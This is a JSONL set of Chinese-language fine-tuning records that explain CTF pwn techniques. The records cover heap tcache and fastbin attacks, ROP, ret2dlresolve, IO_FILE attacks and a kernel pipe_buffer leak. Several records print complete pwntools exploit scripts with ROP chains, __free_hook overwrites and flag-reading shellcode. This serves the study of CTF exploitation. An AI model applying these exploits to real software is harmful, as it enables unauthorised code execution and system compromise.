{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9a1a80cb9a66ddbf3390", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Cache geometry on challenge-like SMP4 boot」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Cache geometry on challenge-like SMP4 boot\n\n```text\n/sys/kernel/slab/d3kheap2pro_cache -> :A-0002048\naliases=0\nobject_size=2048\nobjs_per_slab=16\norder=3\ncpu_partial=0\nmin_partial=5\n```\n\nSo each slab page allocation is order-3 (8 pages), holding 16 objects of 0x800 bytes.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-cccf745c60366953", "original_line": 382, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9a27cf46d22e55169b1a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.参数传递」。\n资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "##### 3.参数传递\n\n```c\n//read@plt\n.plt:00000000004005C0 _read           proc near               ; CODE XREF: vuln+3E↓p\n.plt:00000000004005C0                 jmp     cs:off_601038\n.plt:00000000004005C6                 push    4\n.plt:00000000004005CB                 jmp     sub_400570\n//plt[0]\n.plt:0000000000400570                 push    cs:qword_601008\n.plt:0000000000400576                 jmp     cs:qword_601010\n//GOT[0]\n.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC\n.got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_400570↑r\n.got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_400570+6↑r\n.got.plt:0000000000601018 off_601018      dq offset write         ; DATA XREF: _write↑r\n```\n\n​\t可以看到，给`_dl_runtime_resolve`传递的参数仍然是两个，但第二个参数已由之前32位的相对`JMPREL`的偏移变为该条目的在数组中的index。（除以24）\n\n​\t另外，注意到给`_dl_runtime_resolve`传递参数的方式，依然是通过栈，而非一般情况下通过寄存器传递。这是因为此时的寄存器`rdi`等中已经存有要解析的函数所需的参数了。我们需提前将`/bin/sh`地址等参数放在寄存器中。\n\n#####4.在解析函数地址之前，将`link_map+0x1c8`处设为`NULL`。\n\n​\t对应的检测代码如下：\n\n```c\n/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */\n  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)\n    {\n      const struct r_found_version *version = NULL;\n\n      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)\n    {\n      const ElfW(Half) *vernum =\n        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);\n      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;\n      version = &l->l_versions[ndx];\n      if (version->hash == 0)\n        version = NULL;\n    }\n```\n\n​\t这里，应该是由于我们构造的伪symbol的index过大，使得`vernum[ELFW(R_SYM) (reloc->r_info)]`读取出错。所以只需令`l->l_info[VERSYMIDX (DT_VERSYM)] == NULL`，也即将`link_map+0x1c8`处设为`NULL`。\n\n​\t所以，需先泄露GOT[8]，再修改*(GOT[8]+0x1c8)==null。\n\n####（2）64位dl_resolve构造模板\n\n​\t参见代码stage6_original.py。\n\n​\t主要4点变化：JMPREL条目构造、SYMTAB条目构造、JMPREL偏移参数->下标、link_map+0x1c8处写0。\n\n####（3）64位roputils库使用\n\n​\t参见代码dl-resolve-x86-64.py。\n\n步骤：\n\n> 1.泄露&link_map地址（万能gadget）\n>\n> 2.往bss段写入ROP链和伪造的结构（万能gadget）\n>\n> 3.跳到bss段，bss段ROP先往link_map+0x1c8写0; 同时往bss段写入伪造结构。\n\n####（4）64位执行libc任意gadget\n\n​\t目标：执行libc-2.23.so中的gadget 0x8eb46 : cmp byte ptr [rax], dl ; ret。\n\n​\t方法：伪造symtab条目，对比可知：\n\n> fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)\n>\n> fake_sym = p32(0) + p32(0x__1__12) + p64(fake_st_value) + p64(0)\n\n​\t\tlibc.symbos['__libc_start_main']=0x20740\n\n​\t\tfake_st_value=0x8eb46-0x20740=0x6E406\n\n​\t\tfake_link_map=elf.got['__libc_start_main']=0x601038\n\n​\t\tst_name不需要管。\n\n​\t问题1：如何伪造link_map?\n\n​\t\t伪造的link_map地址是libc_start_main的GOT表地址。通过跟踪dl_fixup 函数发现，dl_fixup引用了link_map+0x68/0x70/0xf8处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。\n\n​\t解决1：提前往link_map+0x68/0x70/0xf8写入有效值。\n\n​\t\t有两种方法。\n\n​\t问题2：l_addr+r_offset处必须可写。\n\n​\t解决2：l_addr这里的值是libc_start_main 地址，那么我们可以控制好r_offset即可。r_offset=libc['.bss']-libc.symbols['libc_start_main']。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4b6bc749fce3e5db", "original_line": 582, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "split_group_key": "797d0effc87ee7204e563363"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9a47571dcc55bc66d62b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache dup/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache dup/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add_chunk`\n- `delete_chunk`\n- `edit_chunk`\n- `show_chunk`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x100`, `0x410`, `0x3afca0`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3afca0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x100)\ndelete_chunk(0)\ndelete_chunk(0)\n\nedit_chunk(0, p64(libc.sym['__free_hook']))\n\nadd_chunk(0, 0x100)\nadd_chunk(0, 0x100)\nedit_chunk(0, p64(libc.sym['system']))\nedit_chunk(1, \"/bin/sh\\x00\")\n\ndelete_chunk(1)\n# gdb.attach(p)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-84d29783a7dcc005", "original_line": 32, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache dup/exp.py", "split": "train", "split_group_key": "1358d8b1244bc04a78599990"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache dup/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9b0edd7815b3ff0cc31c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「地址泄露」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 地址泄露\n\n`pipe_buffer->ops` 指向 `pipe_buf_operations` 函数表，可用于泄露内核基址。\n\n需要注意：创建 pipe 后，需要调用一次写管道，才能初始化 `pipe_buffer->ops`：\n\n```c\nstatic ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)\n{\n    /* ... */\n    buf = &pipe->bufs[head & mask];\n    buf->page = page;\n    buf->ops = &anon_pipe_buf_ops;\n    buf->offset = 0;\n    buf->len = 0;\n    /* ... */\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0893740991f19b39", "original_line": 332, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9b150d3e8ed042530a01", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/fastbin attack/fastbin-double_free/wustctf2020_easyfast/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/fastbin attack/fastbin-double_free/wustctf2020_easyfast/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `dele`\n- `edit`\n\n利用主题关键词：\n- heap/tcache\n- uaf/double-free\n\n关键常量/偏移样例：\n`0x602090`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('wustctf2020_easyfast')\nlibc = ELF('./libc-2.23.so')\nio = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})\n#io=remote('node5.buuoj.cn',26334)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size):\n    sla('choice>', '1')\n    sla('size>', str(size))\n\ndef dele(idx):\n    sla('choice>', '2')\n    sla('index>', str(idx))\n\ndef edit(idx,con):\n    sla('choice>', '3')\n    sla('index>', str(idx))\n    sl(con)\n\nbackdoor=0x602090-0x10\n#这里减去0x10是因为我们需要编辑0x602090的内容，即80处是chunk头部，90处是data区域\n\n#chunk0\nadd(0x40)\n\n#chunk1\nadd(0x40)\n\n#释放进fastbin\ndele(0)\n#dbg()\n\n#由于uaf漏洞的存在我们仍然可以编辑释放后的chunk\n#通过uaf漏洞将fastbin的fd指针修改为backdoor的地址\nedit(0,p64(backdoor))\n\n#将chunk0申请出来，这时候fastbin指向backdoor的地址\nadd(0x40)\n\n#再申请一次就可以将backdoor申请出来\nadd(0x40)\n\nedit(3,p64(0))#编辑backdoor的内存\nsla('choice>', '4')\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-9bd73d19ea0be991", "original_line": 10, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/fastbin-double_free/wustctf2020_easyfast/exp.py", "split": "train", "split_group_key": "53d6931d25e4f81ee17e01b8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/fastbin-double_free/wustctf2020_easyfast/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9beb3eef61de72720561", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/2025das rcms/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/2025das rcms/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `change`\n- `choice`\n- `dbg`\n- `delet`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x420`, `0x1470`, `0x3ebc41`, `0x67616c662f2e`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio=process(elf.path)\nlibc=ELF(\"/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef choice(c):\n    io.recvuntil('5.exit')\n    io.sendline(str(c))\n\ndef add(index,size,cmd):\n    choice(1)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.sendline(str(size))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef delet(index):\n    choice(2)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\ndef change(index,cmd):\n    choice(3)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef show(index):\n    choice(4)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\n\nadd(0,0x420,'AA')\nadd(1,0x60,'BB')\nadd(2,0x60,'CC')\nadd(3,0x60,'DD')\n\ndelet(0)\n\nadd(4,0x420,'A')\n\nshow(4)\nlibc_addr = u64(io.recvuntil(b'\\x7f').ljust(8,b'\\x00')) >> 8\nlibc_base = libc_addr - 0x3ebc41\nfree_hook = libc_base + libc.sym['__free_hook']\n\ndelet(1)\ndelet(2)\n\nshow(2)\n\nio.recvline()\nheap_addr = u64(io.recv(6).ljust(8,b'\\x00'))\n\nsuccess('heap_addr = '+hex(heap_addr))\ntarget_addr = heap_addr - 0x1470\nsuccess('target_addr = '+hex(target_addr))\n\nchange(2,p64(target_addr))\n\nadd(5,0x60,'QQQ')\n\nadd(6,0x60,'\\n')\n\nshow(6)\n\nio.recvline()\nelf_addr = u64(io.recv(6).ljust(8,b'\\x00'))\nsuccess('elf_addr = '+hex(elf_addr))\ngift_addr = elf_addr + 0xce\nsuccess('gift_addr = '+hex(gift_addr))\n\ndelet(5)\n\nchange(5,p64(free_hook))\n\nadd(7,0x60,'A')\nadd(8,0x60,p64(gift_addr))\n\ndelet(7)\n\n\nru('?')\n\nshellcode = '''\nmov r15, 0x67616c662f2e\npush r15\nmov rdi, rsp\nmov rsi, 0\nmov rax, 2\nsyscall\nmov r14, 3\nmov rdi, r14\nmov rsi, rsp\nmov rdx, 0xff\nmov rax, 0\nsyscall\nmov rdi,1\nmov rsi, rsp\nmov rdx, 0x30\nmov rax, 1\nsyscall\n'''\n\nsl(asm(shellcode))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-76ca9c3badf71161", "original_line": 23, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms/exp.py", "split": "train", "split_group_key": "8c5f2ab55ce9624838905598"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9d54a1f2db1b62c20fb8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2syscall/x86/bamboofox-ret2syscall/exploit.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2syscall/x86/bamboofox-ret2syscall/exploit.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x80be408`, `0x08049421`, `0x0806eb90`, `0x080bb196`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\n\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\npop_eax_ret = 0x080bb196\npop_edx_ecx_ebx_ret = 0x0806eb90\nint_0x80 = 0x08049421\nsh = 0x80be408\npayload = flat(\n    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0,sh, int_0x80])\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-03b84f2d7d1faf7f", "original_line": 54, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x86/bamboofox-ret2syscall/exploit.py", "split": "train", "split_group_key": "b963fb2dc306e4ae088fed30"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x86/bamboofox-ret2syscall/exploit.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9d8c03673e74d8d52f3f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「4. fortune 上布置 shellcode + wide_data」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 4. fortune 上布置 shellcode + wide_data\norw  = shellcraft.openat(0, \"/flag\\x00\")\norw += shellcraft.sendfile(1, 3, 0, 0x100)\nshellcode = asm(orw)\n\nwide_data  = b\"\\x00\"\nwide_data  = wide_data.ljust(0x68, b\"\\x00\")\nwide_data += p64(fortune)\nwide_data  = wide_data.ljust(0xe0, b\"\\x00\")\nwide_data += p64(fortune + 0x200)\n\np.sendline(str(4))\np.sendline(b\"74r0t#C@rd\")\np.send(shellcode.ljust(0x200, b\"\\x90\") + wide_data)\nsleep(0.1)", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-31dd6eeec569dc0c", "original_line": 14, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9fb0db82b34fb69cbb9a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024ylb-canary/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024ylb-canary/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x84420`, `0x40101a`, `0x40123d`, `0x40133F`, `0x4013e3`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc=ELF(\"./libc-2.31.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nstack_check_fail = elf.got['__stack_chk_fail']\npop_rdi_ret = 0x4013e3\nret = 0x40101a\nmy_read=0x40133F\ngift=0x40123d\n\nsla(b'functions?', b'0')\npay = p64(stack_check_fail) + p64(my_read)\ns(pay)\n\ns(p64(gift))\n# dbg()\npay=b'a'*0x48+p64(pop_rdi_ret)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(gift)\ns(pay)\ns(b\"a\")\n\nleak=l64()\nlg('puts_leak', leak)\nlibc.address = leak - 0x84420\nlg('libc_base', libc.address)\n\nsh = libc.search(b'/bin/sh\\x00').__next__()\npay = b'a'*0x48 + p64(pop_rdi_ret) + p64(sh)+ p64(ret) + p64(libc.sym.system)\ns(pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-5d9d872247475ea4", "original_line": 419, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ylb-canary/exp.py", "split": "train", "split_group_key": "c6d62e8555b3b904393617f8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ylb-canary/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9fbc50b05afebee62efe", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「show」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### show\n\n```c\nprintf(\"the data:\");\nfor (int i = 0; i <= 6; i++) {\n    out = ptr[i] ^ (0x99 + i);\n    write(1, &out, 1);\n}\n```\n\n`show` 会输出 `ptr` 开始的 7 字节，但每个字节都异或了 `0x99+i`。因此泄露时需要逐字节还原：\n\n```python\nleak += (byte ^ (0x99 + i)) << (8 * i)\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-288731926d11b933", "original_line": 132, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a01923a12d8df7142d37", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「largebin attack #1：劫持 stderr」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## largebin attack #1：劫持 stderr\n\n释放承载 fake FILE 的 large chunk 后，用 UAF `edit(0)` 修改其 metadata：\n\n```python\nedit(0,\n    p64(libc_base + 0x21a0d0) * 2 +\n    p64(heap_base + 0x290) +\n    p64(stderr - 0x20)\n)\nadd(5, 0x440, b'aaaaa')\n```\n\n这一步利用 largebin unlink/insert 过程中的写入，把 `stderr` 改成 fake `_IO_FILE` 的堆地址。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b7f36554670cd910", "original_line": 226, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
